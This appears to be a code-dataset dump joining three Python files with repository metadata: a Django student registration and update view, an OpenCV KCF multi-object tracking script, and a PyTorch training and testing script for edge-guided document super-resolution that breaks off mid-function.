context['form2'] = self.second_form_class(self.request.GET)
return context
def post(self, request, *args, **kwargs):
self.object = self.get_object
form = self.form_class(self.request.POST)
form2 = self.second_form_class(self.request.POST)
if form.is_valid() and form2.is_valid():
estudiante = form.save(commit=False)
estudiante.user = form2.save()
estudiante.save()
return HttpResponseRedirect(self.get_success_url())
else:
return self.render_to_response(self.get_context_data(form=form,form2=form2))
class UpdateUsuario(UpdateView):
model = User
second_model = Estudiante
template_name = 'estudiantes/Estudiante_form.html'
form_class = UpdateRegsForm
second_form_class = UpdateEstudenFrom
success_url = reverse_lazy("conferencia:index")
def get_context_data(self, **kwargs):
context = super(UpdateUsuario,self).get_context_data(**kwargs)
pk = self.kwargs.get('pk',0)
user = self.request.user
estudiante = self.second_model.objects.get(user = user)
if 'form' not in context:
context['form'] = self.form_class()
if 'form2' not in context:
context['form2'] = self.second_form_class(instance= estudiante)
return context
def post(self,request,*args,**kwargs):
self.object = self.get_object
NUA = kwargs['pk']
user = self.request.user
estudiante = self.second_model.objects.get(user = user)
form = self.form_class(request.POST,instance=user)
form2 = self.second_form_class(request.POST,instance=estudiante)
if form.is_valid() and form2.is_valid():
form.save()
form2.save()
return HttpResponseRedirect(self.get_success_url()) | 39.013699 | 98 | 0.688553 | from django.shortcuts import render
from django.http import HttpResponseRedirect
from django.urls import reverse_lazy
from django.views.generic import ListView,CreateView,UpdateView
from apps.estudiantes.models import Estudiante
from django.contrib.auth.models import User
from apps.estudiantes.forms import EstudianteForm, RegistroForm, UpdateRegsForm, UpdateEstudenFrom
from django.contrib.auth.views import LoginView
class Login(LoginView):
success_url = reverse_lazy("conferencia:index")
class CrearUsuario(CreateView):
model = Estudiante
template_name = 'estudiantes/Estudiante_form2.html'
form_class = EstudianteForm
second_form_class = RegistroForm
success_url = reverse_lazy("login")
def get_context_data(self, **kwargs):
context = super(CrearUsuario,self).get_context_data(**kwargs)
if 'form' not in context:
context['form'] = self.form_class(self.request.GET)
if 'form2' not in context:
context['form2'] = self.second_form_class(self.request.GET)
return context
def post(self, request, *args, **kwargs):
self.object = self.get_object
form = self.form_class(self.request.POST)
form2 = self.second_form_class(self.request.POST)
if form.is_valid() and form2.is_valid():
estudiante = form.save(commit=False)
estudiante.user = form2.save()
estudiante.save()
return HttpResponseRedirect(self.get_success_url())
else:
return self.render_to_response(self.get_context_data(form=form,form2=form2))
class UpdateUsuario(UpdateView):
model = User
second_model = Estudiante
template_name = 'estudiantes/Estudiante_form.html'
form_class = UpdateRegsForm
second_form_class = UpdateEstudenFrom
success_url = reverse_lazy("conferencia:index")
def get_context_data(self, **kwargs):
context = super(UpdateUsuario,self).get_context_data(**kwargs)
pk = self.kwargs.get('pk',0)
user = self.request.user
estudiante = self.second_model.objects.get(user = user)
if 'form' not in context:
context['form'] = self.form_class()
if 'form2' not in context:
context['form2'] = self.second_form_class(instance= estudiante)
return context
def post(self,request,*args,**kwargs):
self.object = self.get_object
NUA = kwargs['pk']
user = self.request.user
estudiante = self.second_model.objects.get(user = user)
form = self.form_class(request.POST,instance=user)
form2 = self.second_form_class(request.POST,instance=estudiante)
if form.is_valid() and form2.is_valid():
form.save()
form2.save()
return HttpResponseRedirect(self.get_success_url()) | true | true |
f7f36c0f781e6349690c5255e702772204194bec | 2,050 | py | Python | misc/tracking.py | ryuji0123/hoby | 9737e032795d32b78891bf294ff739eaf8b50075 | [
"MIT"
] | null | null | null | misc/tracking.py | ryuji0123/hoby | 9737e032795d32b78891bf294ff739eaf8b50075 | [
"MIT"
] | null | null | null | misc/tracking.py | ryuji0123/hoby | 9737e032795d32b78891bf294ff739eaf8b50075 | [
"MIT"
] | null | null | null | import cv2
from multiprocessing import Process, Pool
from env import *
def updateTracker(trackers, frame):
for t in trackers:
track, bbox = t.update(frame)
if track:
p1 = (int(bbox[0]), int(bbox[1]))
p2 = (int(bbox[0]) + int(bbox[2]), int(bbox[1]) + int(bbox[3]))
cv2.rectangle(frame, p1, p2, (0, 255, 0), 2, 1)
else:
cv2.putText(frame, "Failure", (10, 50), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 1, cv2.LINE_AA)
if __name__ == '__main__':
#tracker = cv2.TrackerKCF_create()
cap = cv2.VideoCapture(DEVICE_ID)
trackers = [cv2.TrackerKCF_create() for _ in range(2)]
while True:
end_flag, c_frame = cap.read()
c_frame = cv2.resize(c_frame,(600, 600))
if not end_flag: continue
bbox = (0, 0, 10, 10)
for idx in range(len(trackers)):
bbox = cv2.selectROI(c_frame, False)
ok = trackers[idx].init(c_frame, bbox)
cv2.destroyAllWindows()
break
while True:
end_flag, frame = cap.read()
frame = cv2.resize(frame,(600, 600))
if not end_flag: continue
timer = cv2.getTickCount()
#p = Process(target=updateTracker, args=(trackers, frame))
#p.start()
#p.join()
for idx, t in enumerate(trackers):
track, bbox = t.update(frame)
if track:
p1 = (int(bbox[0]), int(bbox[1]))
p2 = (int(bbox[0]) + int(bbox[2]), int(bbox[1]) + int(bbox[3]))
cv2.rectangle(frame, p1, p2, (0, 255, 0), 2, 1)
else:
cv2.putText(frame, "Failure", (10, 50), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 1, cv2.LINE_AA)
fps = cv2.getTickFrequency() / (cv2.getTickCount() - timer)
cv2.putText(frame, "FPS: " + str(int(fps)), (10, 20), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 1, cv2.LINE_AA)
cv2.imshow("Tracking", frame)
k = cv2.waitKey(1)
if k == 27: break
cap.release()
cv2.destroyAllWindows()
| 35.344828 | 121 | 0.551707 | import cv2
from multiprocessing import Process, Pool
from env import *
def updateTracker(trackers, frame):
for t in trackers:
track, bbox = t.update(frame)
if track:
p1 = (int(bbox[0]), int(bbox[1]))
p2 = (int(bbox[0]) + int(bbox[2]), int(bbox[1]) + int(bbox[3]))
cv2.rectangle(frame, p1, p2, (0, 255, 0), 2, 1)
else:
cv2.putText(frame, "Failure", (10, 50), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 1, cv2.LINE_AA)
if __name__ == '__main__':
cap = cv2.VideoCapture(DEVICE_ID)
trackers = [cv2.TrackerKCF_create() for _ in range(2)]
while True:
end_flag, c_frame = cap.read()
c_frame = cv2.resize(c_frame,(600, 600))
if not end_flag: continue
bbox = (0, 0, 10, 10)
for idx in range(len(trackers)):
bbox = cv2.selectROI(c_frame, False)
ok = trackers[idx].init(c_frame, bbox)
cv2.destroyAllWindows()
break
while True:
end_flag, frame = cap.read()
frame = cv2.resize(frame,(600, 600))
if not end_flag: continue
timer = cv2.getTickCount()
for idx, t in enumerate(trackers):
track, bbox = t.update(frame)
if track:
p1 = (int(bbox[0]), int(bbox[1]))
p2 = (int(bbox[0]) + int(bbox[2]), int(bbox[1]) + int(bbox[3]))
cv2.rectangle(frame, p1, p2, (0, 255, 0), 2, 1)
else:
cv2.putText(frame, "Failure", (10, 50), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 1, cv2.LINE_AA)
fps = cv2.getTickFrequency() / (cv2.getTickCount() - timer)
cv2.putText(frame, "FPS: " + str(int(fps)), (10, 20), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 1, cv2.LINE_AA)
cv2.imshow("Tracking", frame)
k = cv2.waitKey(1)
if k == 27: break
cap.release()
cv2.destroyAllWindows()
| true | true |
f7f36c85963324e7ce5b937cc2607ad92e24f172 | 34,529 | py | Python | model/super_resolution_model/DocumentSRModel/models/srunitnet_2x_2x.py | JinGyeSetBirdsFree/FudanOCR | e6b18b0eefaf832b2eb7198f5df79e00bd4cee36 | [
"MIT"
] | 25 | 2020-02-29T12:14:10.000Z | 2020-04-24T07:56:06.000Z | model/super_resolution_model/DocumentSRModel/models/srunitnet_2x_2x.py | dun933/FudanOCR | fd79b679044ea23fd9eb30691453ed0805d2e98b | [
"MIT"
] | 33 | 2020-12-10T19:15:39.000Z | 2022-03-12T00:17:30.000Z | model/super_resolution_model/DocumentSRModel/models/srunitnet_2x_2x.py | dun933/FudanOCR | fd79b679044ea23fd9eb30691453ed0805d2e98b | [
"MIT"
] | 4 | 2020-02-29T12:14:18.000Z | 2020-04-12T12:26:50.000Z | import numpy as np
from scipy.misc import imsave
import os
import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.init as init
import torch.nn.functional as F
import torchvision
from torchvision import models
from torch.autograd import Variable
from torch.utils.data import DataLoader
import torchvision.transforms as Transforms
from dataloader import TrainDataset, DevDataset, TestDataset
from networks.unet import UNet, unet_weight_init
from networks.hed import HED, HED_1L, hed_weight_init
from networks.resnet import ResnetGenerator, Upscale4xResnetGenerator, Upscale2xResnetGenerator
from networks.resnet_wdsr import WDSRResnetGenerator
from networks.discriminators import NLayerDiscriminator
from networks.vggfeature import VGGFeatureMap
from utils.visualizer import Visualizer
from utils.loss import BCE2d
from utils.normalize import norm, denorm, weights_init_normal
from utils.target import PSNR, SSIM, batch_compare_filter, batch_SSIM
USE_GPU = torch.cuda.is_available()
NORM = 'batch'
from scipy.misc import imsave
def save_img(img, save_fn=''):
if not os.path.exists(os.path.split(save_fn)[0]):
os.makedirs(os.path.split(save_fn)[0])
if list(img.shape)[0] == 3:
# save_image = img * 125.0
save_image = img
save_image = save_image.clamp(0, 1).numpy().transpose(1, 2, 0)
else:
save_image = img.squeeze().clamp(0, 1).numpy().transpose(1, 2, 0)
imsave(save_fn, save_image)
class Model(object):
def __init__(self, cfg):
# parameter init
self.env = cfg.env
self.train_dataset = cfg.train_dataset
self.valid_dataset = cfg.valid_dataset
self.test_dataset = cfg.test_dataset
self.data_dir = cfg.data_dir
self.save_dir = cfg.save_dir
self.num_threads = int(cfg.num_threads)
self.num_epochs = int(cfg.num_epochs)
self.save_epochs = int(cfg.save_epochs)
self.pretrain_epochs = int(cfg.pretrain_epochs)
self.batch_size = int(cfg.batch_size)
self.valid_batch_size = int(cfg.valid_batch_size)
self.test_batch_size = int(cfg.test_batch_size)
self.plot_iter = int(cfg.plot_iter)
self.crop_size = int(cfg.crop_size)
self.scale_factor = int(cfg.scale_factor)
self.lr = float(cfg.lr)
def load_dataset(self, mode='train', random_scale=True, rotate=True, fliplr=True, fliptb=True):
if mode == 'train':
train_set = TrainDataset(os.path.join(self.data_dir, self.train_dataset),
crop_size=self.crop_size, scale_factor=self.scale_factor,
random_scale=random_scale, rotate=rotate, fliplr=fliplr, fliptb=fliptb)
return DataLoader(dataset=train_set, num_workers=self.num_threads,
batch_size=self.batch_size, shuffle=True)
elif mode == 'valid':
valid_set = DevDataset(os.path.join(
self.data_dir, self.valid_dataset))
return DataLoader(dataset=valid_set, num_workers=self.num_threads,
batch_size=self.valid_batch_size, shuffle=True)
elif mode == 'test':
test_set = TestDataset(os.path.join(
self.data_dir, self.test_dataset))
return DataLoader(dataset=test_set, num_workers=self.num_threads,
batch_size=self.test_batch_size, shuffle=False)
def train(self, edgenetpath=None, sr2x1_path=None, sr2x2_path=None, srcnn_path=None, srresnet_path=None,
is_fine_tune=False, random_scale=True, rotate=True, fliplr=True, fliptb=True):
vis = Visualizer(self.env)
print('================ Loading datasets =================')
# load training dataset
print('## Current Mode: Train')
# train_data_loader = self.load_dataset(mode='valid')
train_data_loader = self.load_dataset(
mode='train', random_scale=random_scale, rotate=rotate, fliplr=fliplr, fliptb=fliptb)
##########################################################
##################### build network ######################
##########################################################
print('Building Networks and initialize parameters\' weights....')
# init sr resnet
# srresnet2x1 = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5,
# norm=NORM, activation='prelu', learn_residual=True)
# srresnet2x2 = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5,
# norm=NORM, activation='prelu',learn_residual=True)
srresnet2x1 = WDSRResnetGenerator(input_nc=3, output_nc=3, n_blocks=5)
srresnet2x2 = WDSRResnetGenerator(input_nc=3, output_nc=3, n_blocks=5)
srresnet2x1.apply(weights_init_normal)
srresnet2x2.apply(weights_init_normal)
# init discriminator
discnet = NLayerDiscriminator(input_nc=3, ndf=64, n_layers=5)
# init edgenet
edgenet = HED_1L()
if edgenetpath is None or not os.path.exists(edgenetpath):
raise Exception('Invalid edgenet model')
else:
pretrained_dict = torch.load(edgenetpath)
model_dict = edgenet.state_dict()
pretrained_dict = {k: v for k,
v in pretrained_dict.items() if k in model_dict}
model_dict.update(pretrained_dict)
edgenet.load_state_dict(model_dict)
# init vgg feature
featuremapping = VGGFeatureMap(models.vgg19(pretrained=True))
# load pretrained srresnet or just initialize
if sr2x1_path is None or not os.path.exists(sr2x1_path):
print('===> initialize the srresnet2x1')
print('======> No pretrained model')
else:
print('======> loading the weight from pretrained model')
pretrained_dict = torch.load(sr2x1_path)
model_dict = srresnet2x1.state_dict()
pretrained_dict = {k: v for k,
v in pretrained_dict.items() if k in model_dict}
model_dict.update(pretrained_dict)
srresnet2x1.load_state_dict(model_dict)
if sr2x2_path is None or not os.path.exists(sr2x2_path):
print('===> initialize the srresnet2x2')
print('======> No pretrained model')
else:
print('======> loading the weight from pretrained model')
pretrained_dict = torch.load(sr2x2_path)
model_dict = srresnet2x2.state_dict()
pretrained_dict = {k: v for k,
v in pretrained_dict.items() if k in model_dict}
model_dict.update(pretrained_dict)
srresnet2x2.load_state_dict(model_dict)
# optimizer init
# different learning rate
lr = self.lr
srresnet2x1_optimizer = optim.Adam(
srresnet2x1.parameters(), lr=lr, betas=(0.9, 0.999))
srresnet2x2_optimizer = optim.Adam(
srresnet2x2.parameters(), lr=lr, betas=(0.9, 0.999))
disc_optimizer = optim.Adam(
discnet.parameters(), lr=lr/10, betas=(0.9, 0.999))
# loss function init
MSE_loss = nn.MSELoss()
BCE_loss = nn.BCELoss()
# cuda accelerate
if USE_GPU:
edgenet.cuda()
srresnet2x1.cuda()
srresnet2x2.cuda()
discnet.cuda()
featuremapping.cuda()
MSE_loss.cuda()
BCE_loss.cuda()
print('\tCUDA acceleration is available.')
##########################################################
##################### train network ######################
##########################################################
import torchnet as tnt
from tqdm import tqdm
from PIL import Image
# batchnorm = nn.BatchNorm2d(1).cuda()
edge_avg_loss = tnt.meter.AverageValueMeter()
total_avg_loss = tnt.meter.AverageValueMeter()
disc_avg_loss = tnt.meter.AverageValueMeter()
# psnr_2x_avg = tnt.meter.AverageValueMeter()
# ssim_2x_avg = tnt.meter.AverageValueMeter()
# psnr_4x_avg = tnt.meter.AverageValueMeter()
# ssim_4x_avg = tnt.meter.AverageValueMeter()
srresnet2x1.train()
srresnet2x2.train()
discnet.train()
itcnt = 0
for epoch in range(self.num_epochs):
edge_avg_loss.reset()
total_avg_loss.reset()
disc_avg_loss.reset()
# psnr_2x_avg.reset()
# ssim_2x_avg.reset()
# psnr_4x_avg.reset()
# ssim_4x_avg.reset()
# learning rate is decayed by a factor every 20 epoch
if (epoch + 1) % 5 == 0:
for param_group in srresnet2x1_optimizer.param_groups:
param_group["lr"] *= 0.5
print("Learning rate decay for srresnet2x1: lr={}".format(
srresnet2x1_optimizer.param_groups[0]["lr"]))
for param_group in srresnet2x2_optimizer.param_groups:
param_group["lr"] *= 0.5
print("Learning rate decay for srresnet2x2: lr={}".format(
srresnet2x2_optimizer.param_groups[0]["lr"]))
for param_group in disc_optimizer.param_groups:
param_group["lr"] *= 0.5
print("Learning rate decay for discnet: lr={}".format(
disc_optimizer.param_groups[0]["lr"]))
itbar = tqdm(enumerate(train_data_loader))
for ii, (hr, lr2x, lr4x, bc2x, bc4x) in itbar:
mini_batch = hr.size()[0]
hr_ = Variable(hr)
lr2x_ = Variable(lr2x)
lr4x_ = Variable(lr4x)
bc2x_ = Variable(bc2x)
bc4x_ = Variable(bc4x)
real_label = Variable(torch.ones(mini_batch))
fake_label = Variable(torch.zeros(mini_batch))
# cuda mode setting
if USE_GPU:
hr_ = hr_.cuda()
lr2x_ = lr2x_.cuda()
lr4x_ = lr4x_.cuda()
bc2x_ = bc2x_.cuda()
bc4x_ = bc4x_.cuda()
real_label = real_label.cuda()
fake_label = fake_label.cuda()
# =============================================================== #
# ================ Edge-based srresnet training ================= #
# =============================================================== #
sr2x_ = srresnet2x1(lr4x_)
sr4x_ = srresnet2x2(lr2x_)
'''===================== Train Discriminator ====================='''
if epoch + 1 > self.pretrain_epochs:
disc_optimizer.zero_grad()
#===== 2x disc loss =====#
real_decision_2x = discnet(lr2x_)
real_loss_2x = BCE_loss(
real_decision_2x, real_label.detach())
fake_decision_2x = discnet(sr2x_.detach())
fake_loss_2x = BCE_loss(
fake_decision_2x, fake_label.detach())
disc_loss_2x = real_loss_2x + fake_loss_2x
disc_loss_2x.backward()
disc_optimizer.step()
#===== 4x disc loss =====#
real_decision_4x = discnet(hr_)
real_loss_4x = BCE_loss(
real_decision_4x, real_label.detach())
fake_decision_4x = discnet(sr4x_.detach())
fake_loss_4x = BCE_loss(
fake_decision_4x, fake_label.detach())
disc_loss_4x = real_loss_4x + fake_loss_4x
disc_loss_4x.backward()
disc_optimizer.step()
disc_avg_loss.add(
(disc_loss_2x + disc_loss_4x).data.item())
'''=================== Train srresnet Generator ==================='''
edge_trade_off = [0.7, 0.2, 0.1, 0.05, 0.01, 0.3]
if epoch + 1 > self.pretrain_epochs:
a1, a2, a3 = 0.75, 0.1, 0.65
else:
a1, a2, a3 = 0.75, 0.0, 0.7
if not is_fine_tune:
#============ calculate 2x loss ==============#
srresnet2x1_optimizer.zero_grad()
#### Edgenet Loss ####
pred = edgenet(sr2x_)
real = edgenet(lr2x_)
edge_loss_2x = BCE_loss(pred.detach(), real.detach())
# for i in range(6):
# edge_loss_2x += edge_trade_off[i] * \
# BCE_loss(pred[i].detach(), real[i].detach())
# edge_loss = 0.7 * BCE2d(pred[0], real[i]) + 0.3 * BCE2d(pred[5], real[i])
#### Content Loss ####
content_loss_2x = MSE_loss(sr2x_, lr2x_) #+ 0.1*BCE_loss(1-sr2x_, 1-lr2x_)
#### Perceptual Loss ####
real_feature = featuremapping(lr2x_)
fake_feature = featuremapping(sr2x_)
vgg_loss_2x = MSE_loss(fake_feature, real_feature.detach())
#### Adversarial Loss ####
advs_loss_2x = BCE_loss(discnet(sr2x_), real_label) if epoch + 1 > self.pretrain_epochs else 0
# advs_loss_2x = 0
#============== loss backward ===============#
total_loss_2x = a1 * edge_loss_2x + a2 * advs_loss_2x + \
a3 * content_loss_2x + (1.0 - a3) * vgg_loss_2x
# total_loss_2x = 1.0 * content_loss_2x + 0.25 * vgg_loss_2x
total_loss_2x.backward()
srresnet2x1_optimizer.step()
#============ calculate scores ==============#
# psnr_2x_score_process = batch_compare_filter(
# sr2x_.cpu().data, lr2x, PSNR)
# psnr_2x_avg.add(psnr_2x_score_process)
# ssim_2x_score_process = batch_compare_filter(
# sr2x_.cpu().data, lr2x, SSIM)
# ssim_2x_avg.add(ssim_2x_score_process)
#============ calculate 4x loss ==============#
if is_fine_tune:
sr4x_ = srresnet2x2(srresnet2x1(lr4x_))
srresnet2x2_optimizer.zero_grad()
#### Edgenet Loss ####
pred = edgenet(sr4x_)
real = edgenet(hr_)
# edge_loss_4x = 0
edge_loss_4x = BCE_loss(pred.detach(), real.detach())
# for i in range(6):
# edge_loss_4x += edge_trade_off[i] * \
# BCE_loss(pred[i].detach(), real[i].detach())
# edge_loss = 0.7 * BCE2d(pred[0], real[i]) + 0.3 * BCE2d(pred[5], real[i])
#### Content Loss ####
content_loss_4x = MSE_loss(sr4x_, hr_) #+ 0.1*BCE_loss(1-sr4x_, 1-hr_)
#### Perceptual Loss ####
real_feature = featuremapping(hr_)
fake_feature = featuremapping(sr4x_)
vgg_loss_4x = MSE_loss(fake_feature, real_feature.detach())
#### Adversarial Loss ####
advs_loss_4x = BCE_loss(discnet(sr4x_), real_label) if epoch + 1 > self.pretrain_epochs else 0
# advs_loss_4x = 0
#============== loss backward ===============#
total_loss_4x = a1 * edge_loss_4x + a2 * advs_loss_4x + \
a3 * content_loss_4x + (1.0 - a3) * vgg_loss_4x
# total_loss_4x = 1.0 * content_loss_4x + 0.25 * vgg_loss_4x
total_loss_4x.backward()
srresnet2x2_optimizer.step()
#============ calculate scores ==============#
# psnr_4x_score_process = batch_compare_filter(
# sr4x_.cpu().data, hr, PSNR)
# psnr_4x_avg.add(psnr_4x_score_process)
# ssim_4x_score_process = batch_compare_filter(
# sr4x_.cpu().data, hr, SSIM)
# ssim_4x_avg.add(ssim_4x_score_process)
if is_fine_tune:
total_avg_loss.add(total_loss_4x.data.item())
edge_avg_loss.add(edge_loss_4x.data.item())
else:
total_avg_loss.add((total_loss_2x+total_loss_4x).data.item())
edge_avg_loss.add((edge_loss_2x+edge_loss_4x).data.item())
if epoch + 1 > self.pretrain_epochs:
disc_avg_loss.add((advs_loss_2x+advs_loss_4x).data.item())
if (ii+1) % self.plot_iter == self.plot_iter-1:
res = {'edge loss': edge_avg_loss.value()[0],
'generate loss': total_avg_loss.value()[0],
'discriminate loss': disc_avg_loss.value()[0]}
vis.plot_many(res, 'Deblur net Loss')
# psnr_2x_score_origin = batch_compare_filter(
# bc2x, lr2x, PSNR)
# psnr_4x_score_origin = batch_compare_filter(bc4x, hr, PSNR)
# res_psnr = {'2x_origin_psnr': psnr_2x_score_origin,
# '2x_sr_psnr': psnr_2x_score_process,
# '4x_origin_psnr': psnr_4x_score_origin,
# '4x_sr_psnr': psnr_4x_score_process}
# vis.plot_many(res_psnr, 'PSNR Score')
# ssim_2x_score_origin = batch_compare_filter(
# bc2x, lr2x, SSIM)
# ssim_4x_score_origin = batch_compare_filter(bc4x, hr, SSIM)
# res_ssim = {'2x_origin_ssim': ssim_2x_score_origin,
# '2x_sr_ssim': ssim_2x_score_process,
# '4x_origin_ssim': ssim_4x_score_origin,
# '4x_sr_ssim': ssim_4x_score_process}
# vis.plot_many(res_ssim, 'SSIM Score')
#======================= Output result of total training processing =======================#
itcnt += 1
# itbar.set_description("Epoch: [%2d] [%d/%d] PSNR_2x_Avg: %.6f, SSIM_2x_Avg: %.6f, PSNR_4x_Avg: %.6f, SSIM_4x_Avg: %.6f"
# % ((epoch + 1), (ii + 1), len(train_data_loader),
# psnr_2x_avg.value()[0], ssim_2x_avg.value()[
# 0],
# psnr_4x_avg.value()[0], ssim_4x_avg.value()[0]))
itbar.set_description("Epoch: [%2d] [%d/%d]"
% ((epoch + 1), (ii + 1), len(train_data_loader)))
if (ii+1) % self.plot_iter == self.plot_iter-1:
# test_ = deblurnet(torch.cat([y_.detach(), x_edge], 1))
hr_edge = edgenet(hr_)
sr2x_edge = edgenet(sr2x_)
sr4x_edge = edgenet(sr4x_)
vis.images(hr_edge.cpu().data, win='HR edge predict', opts=dict(
title='HR edge predict'))
vis.images(sr2x_edge.cpu().data, win='SR2X edge predict', opts=dict(
title='SR2X edge predict'))
vis.images(sr4x_edge.cpu().data, win='SR4X edge predict', opts=dict(
title='SR4X edge predict'))
vis.images(lr2x, win='LR2X image',
opts=dict(title='LR2X image'))
vis.images(lr4x, win='LR4X image',
opts=dict(title='LR4X image'))
vis.images(bc2x, win='BC2X image',
opts=dict(title='BC2X image'))
vis.images(bc4x, win='BC4X image',
opts=dict(title='BC4X image'))
vis.images(sr2x_.cpu().data, win='SR2X image',
opts=dict(title='SR2X image'))
vis.images(sr4x_.cpu().data, win='SR4X image',
opts=dict(title='SR4X image'))
vis.images(hr, win='HR image',
opts=dict(title='HR image'))
t_save_dir = 'results/train_result/'+self.train_dataset
if not os.path.exists(t_save_dir):
os.makedirs(t_save_dir)
if (epoch + 1) % self.save_epochs == 0 and (ii+1) % 200 == 0:
self.save_model(srresnet2x1, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x1_param_batch{}_lr{}_epoch{}'.
format(self.batch_size, self.lr, epoch+1))
self.save_model(srresnet2x2, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x2_param_batch{}_lr{}_epoch{}'.
format(self.batch_size, self.lr, epoch+1))
if (epoch + 1) % self.save_epochs == 0:
self.save_model(srresnet2x1, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x1_param_batch{}_lr{}_epoch{}'.
format(self.batch_size, self.lr, epoch+1))
self.save_model(srresnet2x2, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x2_param_batch{}_lr{}_epoch{}'.
format(self.batch_size, self.lr, epoch+1))
# Save final trained model and results
vis.save([self.env])
self.save_model(srresnet2x1, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x1_param_batch{}_lr{}_epoch{}'.
format(self.batch_size, self.lr, self.num_epochs))
self.save_model(srresnet2x2, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x2_param_batch{}_lr{}_epoch{}'.
format(self.batch_size, self.lr, self.num_epochs))
def test(self, sr2x1_path=None, sr2x2_path=None):
test_data_dir = os.path.join(self.data_dir, self.test_dataset)
result_data_dir = os.path.join(self.save_dir, "test_results", "2x2UnitNet_SR_"+self.test_dataset)
if not os.path.exists(result_data_dir):
os.makedirs(result_data_dir)
# judge whether model exists
if not os.path.exists(sr2x1_path):
raise Exception('sr2x1 resnet model not exists')
if not os.path.exists(sr2x2_path):
raise Exception('sr2x2 resnet model not exists')
# load network params
# srresnet2x1 = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5,
# norm=NORM, activation='prelu', learn_residual=True)
# srresnet2x2 = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5,
# norm=NORM, activation='prelu', learn_residual=True)
srresnet2x1 = WDSRResnetGenerator(input_nc=3, output_nc=3, n_blocks=5)
srresnet2x2 = WDSRResnetGenerator(input_nc=3, output_nc=3, n_blocks=5)
srresnet2x1.load_state_dict(torch.load(sr2x1_path))
srresnet2x2.load_state_dict(torch.load(sr2x2_path))
if USE_GPU:
srresnet2x1.cuda()
srresnet2x2.cuda()
import torchnet as tnt
from tqdm import tqdm
from PIL import Image
import time
psnr_4x_avg = tnt.meter.AverageValueMeter()
ssim_4x_avg = tnt.meter.AverageValueMeter()
time_avg = tnt.meter.AverageValueMeter()
srresnet2x1.eval()
srresnet2x2.eval()
# processing test data
iterbar = tqdm(os.listdir(test_data_dir))
import cv2
import numpy as np
for img_name in iterbar:
try:
img = cv2.imread(os.path.join(test_data_dir, img_name), cv2.IMREAD_COLOR)
img = cv2.resize(img, None, None, 0.5, 0.5, interpolation=cv2.INTER_AREA)
h, w, c = img.shape[0], img.shape[1], img.shape[2]
w_lr4x, h_lr4x = int(
w // self.scale_factor), int(h // self.scale_factor)
w_lr2x, h_lr2x = w_lr4x * 2, h_lr4x * 2
w_hr, h_hr = w_lr4x * self.scale_factor, h_lr4x * self.scale_factor
w_num, h_num = w // self.crop_size, h // self.crop_size
w_num += 1 if w % self.crop_size != 0 else 0
h_num += 1 if h % self.crop_size != 0 else 0
res = np.zeros((h*2, w*2, c), dtype=np.uint8)
for i in range(w_num):
l = i * self.crop_size
l_new = l * 2
r = min(l+self.crop_size, w)
r_new = w * 2 if r == w else l_new + self.crop_size * 2
for j in range(h_num):
t = j * self.crop_size
t_new = t * 2
b = min(t+self.crop_size, h)
b_new = h * 2 if b == h else t_new + self.crop_size * 2
lr = img[t:b, l:r]
lr = Transforms.ToTensor()(lr).unsqueeze(0)
if USE_GPU:
lr = lr.cuda()
sr = srresnet2x1(lr).squeeze()
res_sr = sr.cpu().data.clamp(0, 1).numpy().transpose(1, 2, 0)*255
res[t_new:b_new, l_new:r_new] = res_sr
cv2.imwrite(os.path.join(result_data_dir, img_name), res)
except IOError:
pass
finally:
pass
# for img_name in iterbar:
# try:
# img = Image.open(os.path.join(test_data_dir, img_name)).convert("RGB")
# transform = Transforms.RandomCrop(self.crop_size)
# img = transform(img)
# w, h = img.size[0], img.size[1]
# w_lr4x, h_lr4x = int(
# w // self.scale_factor), int(h // self.scale_factor)
# w_lr2x, h_lr2x = w_lr4x * 2, h_lr4x * 2
# # w_hr, h_hr = w_lr4x * self.scale_factor, h_lr4x * self.scale_factor
# # transform tensor
# # hr = img.resize((w_hr, h_hr), Image.ANTIALIAS)
# # lr2x = img.resize((w_lr2x, h_lr2x), Image.ANTIALIAS)
# lr4x = img.resize((w_lr4x, h_lr4x), Image.ANTIALIAS)
# lr4x = img.resize((w_lr2x, h_lr2x), Image.ANTIALIAS)
# # hr_ = Transforms.ToTensor()(hr).unsqueeze(0)
# # lr2x_ = Transforms.ToTensor()(lr2x).unsqueeze(0)
# lr4x_ = Transforms.ToTensor()(lr4x).unsqueeze(0)
# if USE_GPU:
# # hr_ = hr_.cuda()
# # lr2x_ = lr2x_.cuda()
# lr4x_ = lr4x_.cuda()
# torch.cuda.synchronize()
# start = time.time()
# sr4x_ = srresnet2x2(srresnet2x1(lr4x_))
# # sr4x_ = srresnet2x1(lr4x_)
# torch.cuda.synchronize()
# end = time.time()
# time_avg.add(end-start)
# except IOError:
# pass
# finally:
# pass
# # calculate PSNR & SSIM
# psnr_4x_score = batch_compare_filter(
# sr4x_.cpu().data, hr_, PSNR)
# ssim_4x_score = batch_compare_filter(
# sr4x_.cpu().data, hr_, SSIM)
# psnr_4x_avg.add(psnr_4x_score)
# ssim_4x_avg.add(ssim_4x_score)
# # save image
# save_img(sr4x_.cpu().data, os.path.join(result_data_dir, img_name))
print(time_avg.value()[0])
print("final PSNR score: {}".format(psnr_4x_avg.value()[0]))
print("final SSIM score: {}".format(ssim_4x_avg.value()[0]))
def test_t(self, sr2x1_1_path=None, sr2x2_1_path=None, sr2x1_2_path=None, sr2x2_2_path=None):
test_data_dir = os.path.join(self.data_dir, self.test_dataset)
sr_edge_dir = os.path.join(self.save_dir, "show_results", "2x2UnitNet_Edge_SR_"+self.test_dataset)
if not os.path.exists(sr_edge_dir):
os.makedirs(sr_edge_dir)
